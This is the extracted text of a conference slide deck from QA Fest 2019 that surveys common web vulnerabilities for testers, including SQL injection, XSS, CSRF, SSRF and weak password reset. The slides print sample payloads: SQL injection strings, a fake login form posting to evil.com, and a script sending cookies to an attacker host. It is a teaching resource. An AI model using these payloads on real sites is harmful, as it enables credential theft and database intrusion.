SlideShare a Scribd company logo
KYIV 2019
Короленко Сергій
Всі вразливості у веб додатках
QA Fest 2019. Сергій Короленко. Топ веб вразливостей за 40 хвилин
Bugcrowd’s Vulnerability Rating Taxonomy
RCE
Remote Code Execution | Code injection
RCE
Remote Code Execution | Code injection
SQL Injection
SQL Injection
SQL Injection
SQL Injection
SQL Injection
Stacked queries
UNION query-based
Error-based
Boolean-based blind
Time-based blind
1 AND (ascii(substr((SELECT version()),1,1))) > 52—
1 AND IF((SELECT ascii(substr(version(),1,1))) > 53,sleep(10),NULL)—
1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x
FROM information_schema.TABLES GROUP BY x)a)--
1 UNION ALL SELECT NULL,version()--
1; SELECT version()--
SQL Injection
XXE |XML external entity injection
FILE INCLUSION
<?php
$file = $_GET[«file»];
include(“/var/www/backend/$file”);
?>
https://example.com/?page=contact.php
DIRECTORY TRAVERSAL
UNSAFE FILE UPLOAD
UNSAFE FILE UPLOAD
QA Fest 2019. Сергій Короленко. Топ веб вразливостей за 40 хвилин
CRLF injection
(CRLF, rn, %0A%0D)
HTML Injection
Hi! My name is <h1>hacker</h1>
Hello
HACKER
Hi! My name is <h1>Log in to view a content</h1>
<form action="http://evil.com">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit">
</form>
XSS | Cross Site Scripting
XSS Stored/Reflected
XSS | Cross Site Scripting
www.welp.com?search=<script>window.location="http://www.haxxed.com?cookie="+document.cookie</script>
Open Redirection
https://bank.com/redirect.php?go=http://attacker.com/phish/
http://bank.com/transfer?amount=50.0&from=4165**02&to=7893-1892-2940-4280
http://bank.com/transfer?amount=50.0&from=4165**02&to=4153-1802-9420-4483
CSRF | Cross-Site Request Forgery
CSRF | Cross-Site Request Forgery
SSRF| Server Side Request Forgery
http://example.com/?url=http://localhost/server-status
Default Credentials/Configuration
Authentication Bypass
Weak Password Policy
Weak password reset question/answer
Weak password change/reset
http://bank.com/reset_password?email=ololo@example.com&token=1561324612
http://bank.com/reset_password?email=ololo@example.com&token=1561324754
http://bank.com/reset_password?email=ololo@example.com&token=1561324698
MD5 ("ololo@example.com") = 83fa8dbfe2725ff513c4028a7f60df36
http://bank.com/reset_password?email=ololo@example.com&token=
83fa8dbfe2725ff513c4028a7f60df36
http://bank.com/reset_password?email=ololo@example.com&token=
83fa8dbfe2725ff513c4028a7f60df36
Bypass 2FA
Privilege Escalation
Broken Access Control
http://bank.com/admin/reset_password?user=ololo@example.com&newpass=3.1415pec!
COOKIES Attributes
Session Fixation
Password

API Keys

/.git/
Sensitive Data Exposure
Directory Listing DirSearch (backups, logs, etc.)
Unencrypted Communication
Privileged user: uid=0(root)
No Rate Limits
CAPTCHA Bypass
Security Headers
•Server headers that protect against attacks
◦HTTP Strict Transport Security
◦Content Security Policy
◦Access-Control-Allow-Origin
◦X-FrameOptions
◦X-XSS-Protection
◦X-Content-Type-Options
•Server headers that leak information
◦Server
◦X-Powered-By
◦X-AspNet-Version
Detailed Error
QA Fest 2019. Сергій Короленко. Топ веб вразливостей за 40 хвилин
https://www.youtube.com/OWASPKyiv
https://www.facebook.com/owaspkyiv
https://owasp.slack.com/messages/chapter-ua/

More Related Content

More from QAFest (20)

PDF
QA Fest 2019. Иван Крутов. Bulletproof Selenium Cluster
QAFest
 
PPTX
QA Fest 2019. Николай Мижигурский. Миссия /*не*/выполнима: гуманитарий собесе...
QAFest
 
PDF
QA Fest 2019. Володимир Стиран. Чим раніше – тим вигідніше, але ніколи не піз...
QAFest
 
PPTX
QA Fest 2019. Дмитрий Прокопук. Mocks and network tricks in UI automation
QAFest
 
PDF
QA Fest 2019. Екатерина Дядечко. Тестирование медицинского софта — вызовы и в...
QAFest
 
PDF
QA Fest 2019. Катерина Черникова. Tune your P’s: the pop-art of keeping testa...
QAFest
 
PDF
QA Fest 2019. Алиса Бойко. Какнезапутаться в коммуникативных сетях IT
QAFest
 
PPTX
QA Fest 2019. Святослав Логин. Как найти уязвимости в мобильном приложении
QAFest
 
PPTX
QA Fest 2019. Катерина Шепелєва та Інна Оснач. Що українцям потрібно знати пр...
QAFest
 
PDF
QA Fest 2019. Антон Серпутько. Нагрузочное тестирование распределенных асинхр...
QAFest
 
PPTX
QA Fest 2019. Петр Тарасенко. QA Hackathon - The Cookbook 22
QAFest
 
PPTX
QA Fest 2019. Евгений Рудев. QA 3.0. New generation
QAFest
 
PPTX
QA Fest 2019. Ірина Ярославцева. Майбутнє вже тут, або як тестувати систему о...
QAFest
 
PPTX
QA Fest 2019. Никита Кричко. Тестирование приложений, использующих ИИ
QAFest
 
PPTX
QA Fest 2019. Вячеслав Панкратов. Как выходить из тестирования и надо ли выхо...
QAFest
 
PPTX
QA Fest 2019. Saar Rachamim. Developing Tools, While Testing
QAFest
 
PDF
QA Fest 2019. Boni Garcia. Web and Mobile testing with Selenium, JUnit 5, and...
QAFest
 
PDF
QA Fest 2019. Диана Пинчук. Тестирование аутентификации и авторизации (AuthN ...
QAFest
 
PDF
QA Fest 2019. Андрей Солнцев. Selenide для профи
QAFest
 
PDF
QA Fest 2019. Андрей Солнцев. Десять причин моей ненависти
QAFest
 
QA Fest 2019. Иван Крутов. Bulletproof Selenium Cluster
QAFest
 
QA Fest 2019. Николай Мижигурский. Миссия /*не*/выполнима: гуманитарий собесе...
QAFest
 
QA Fest 2019. Володимир Стиран. Чим раніше – тим вигідніше, але ніколи не піз...
QAFest
 
QA Fest 2019. Дмитрий Прокопук. Mocks and network tricks in UI automation
QAFest
 
QA Fest 2019. Екатерина Дядечко. Тестирование медицинского софта — вызовы и в...
QAFest
 
QA Fest 2019. Катерина Черникова. Tune your P’s: the pop-art of keeping testa...
QAFest
 
QA Fest 2019. Алиса Бойко. Какнезапутаться в коммуникативных сетях IT
QAFest
 
QA Fest 2019. Святослав Логин. Как найти уязвимости в мобильном приложении
QAFest
 
QA Fest 2019. Катерина Шепелєва та Інна Оснач. Що українцям потрібно знати пр...
QAFest
 
QA Fest 2019. Антон Серпутько. Нагрузочное тестирование распределенных асинхр...
QAFest
 
QA Fest 2019. Петр Тарасенко. QA Hackathon - The Cookbook 22
QAFest
 
QA Fest 2019. Евгений Рудев. QA 3.0. New generation
QAFest
 
QA Fest 2019. Ірина Ярославцева. Майбутнє вже тут, або як тестувати систему о...
QAFest
 
QA Fest 2019. Никита Кричко. Тестирование приложений, использующих ИИ
QAFest
 
QA Fest 2019. Вячеслав Панкратов. Как выходить из тестирования и надо ли выхо...
QAFest
 
QA Fest 2019. Saar Rachamim. Developing Tools, While Testing
QAFest
 
QA Fest 2019. Boni Garcia. Web and Mobile testing with Selenium, JUnit 5, and...
QAFest
 
QA Fest 2019. Диана Пинчук. Тестирование аутентификации и авторизации (AuthN ...
QAFest
 
QA Fest 2019. Андрей Солнцев. Selenide для профи
QAFest
 
QA Fest 2019. Андрей Солнцев. Десять причин моей ненависти
QAFest
 

Recently uploaded (20)

PPTX
Introduction to pediatric nursing in 5th Sem..pptx
AneetaSharma15
 
PDF
EXCRETION-STRUCTURE OF NEPHRON,URINE FORMATION
raviralanaresh2
 
PDF
John Keats introduction and list of his important works
vatsalacpr
 
PPTX
IDEAS AND EARLY STATES Social science pptx
NIRANJANASSURESH
 
DOCX
Unit 5: Speech-language and swallowing disorders
JELLA VISHNU DURGA PRASAD
 
PDF
Exploring-the-Investigative-World-of-Science.pdf/8th class curiosity/1st chap...
Sandeep Swamy
 
PDF
Stepwise procedure (Manually Submitted & Un Attended) Medical Devices Cases
MUHAMMAD SOHAIL
 
PPTX
LDP-2 UNIT 4 Presentation for practical.pptx
abhaypanchal2525
 
PDF
My Thoughts On Q&A- A Novel By Vikas Swarup
Niharika
 
PPTX
TOP 10 AI TOOLS YOU MUST LEARN TO SURVIVE IN 2025 AND ABOVE
digilearnings.com
 
PPTX
Top 10 AI Tools, Like ChatGPT. You Must Learn In 2025
Digilearnings
 
PPTX
Applications of matrices In Real Life_20250724_091307_0000.pptx
gehlotkrish03
 
PPT
DRUGS USED IN THERAPY OF SHOCK, Shock Therapy, Treatment or management of shock
Rajshri Ghogare
 
PPTX
Cybersecurity: How to Protect your Digital World from Hackers
vaidikpanda4
 
PPTX
10CLA Term 3 Week 4 Study Techniques.pptx
mansk2
 
PPTX
Digital Professionalism and Interpersonal Competence
rutvikgediya1
 
PPTX
Electrophysiology_of_Heart. Electrophysiology studies in Cardiovascular syste...
Rajshri Ghogare
 
PPTX
Virus sequence retrieval from NCBI database
yamunaK13
 
PPTX
Unlock the Power of Cursor AI: MuleSoft Integrations
Veera Pallapu
 
PPTX
Introduction to Probability(basic) .pptx
purohitanuj034
 
Introduction to pediatric nursing in 5th Sem..pptx
AneetaSharma15
 
EXCRETION-STRUCTURE OF NEPHRON,URINE FORMATION
raviralanaresh2
 
John Keats introduction and list of his important works
vatsalacpr
 
IDEAS AND EARLY STATES Social science pptx
NIRANJANASSURESH
 
Unit 5: Speech-language and swallowing disorders
JELLA VISHNU DURGA PRASAD
 
Exploring-the-Investigative-World-of-Science.pdf/8th class curiosity/1st chap...
Sandeep Swamy
 
Stepwise procedure (Manually Submitted & Un Attended) Medical Devices Cases
MUHAMMAD SOHAIL
 
LDP-2 UNIT 4 Presentation for practical.pptx
abhaypanchal2525
 
My Thoughts On Q&A- A Novel By Vikas Swarup
Niharika
 
TOP 10 AI TOOLS YOU MUST LEARN TO SURVIVE IN 2025 AND ABOVE
digilearnings.com
 
Top 10 AI Tools, Like ChatGPT. You Must Learn In 2025
Digilearnings
 
Applications of matrices In Real Life_20250724_091307_0000.pptx
gehlotkrish03
 
DRUGS USED IN THERAPY OF SHOCK, Shock Therapy, Treatment or management of shock
Rajshri Ghogare
 
Cybersecurity: How to Protect your Digital World from Hackers
vaidikpanda4
 
10CLA Term 3 Week 4 Study Techniques.pptx
mansk2
 
Digital Professionalism and Interpersonal Competence
rutvikgediya1
 
Electrophysiology_of_Heart. Electrophysiology studies in Cardiovascular syste...
Rajshri Ghogare
 
Virus sequence retrieval from NCBI database
yamunaK13
 
Unlock the Power of Cursor AI: MuleSoft Integrations
Veera Pallapu
 
Introduction to Probability(basic) .pptx
purohitanuj034
 
Ad

QA Fest 2019. Сергій Короленко. Топ веб вразливостей за 40 хвилин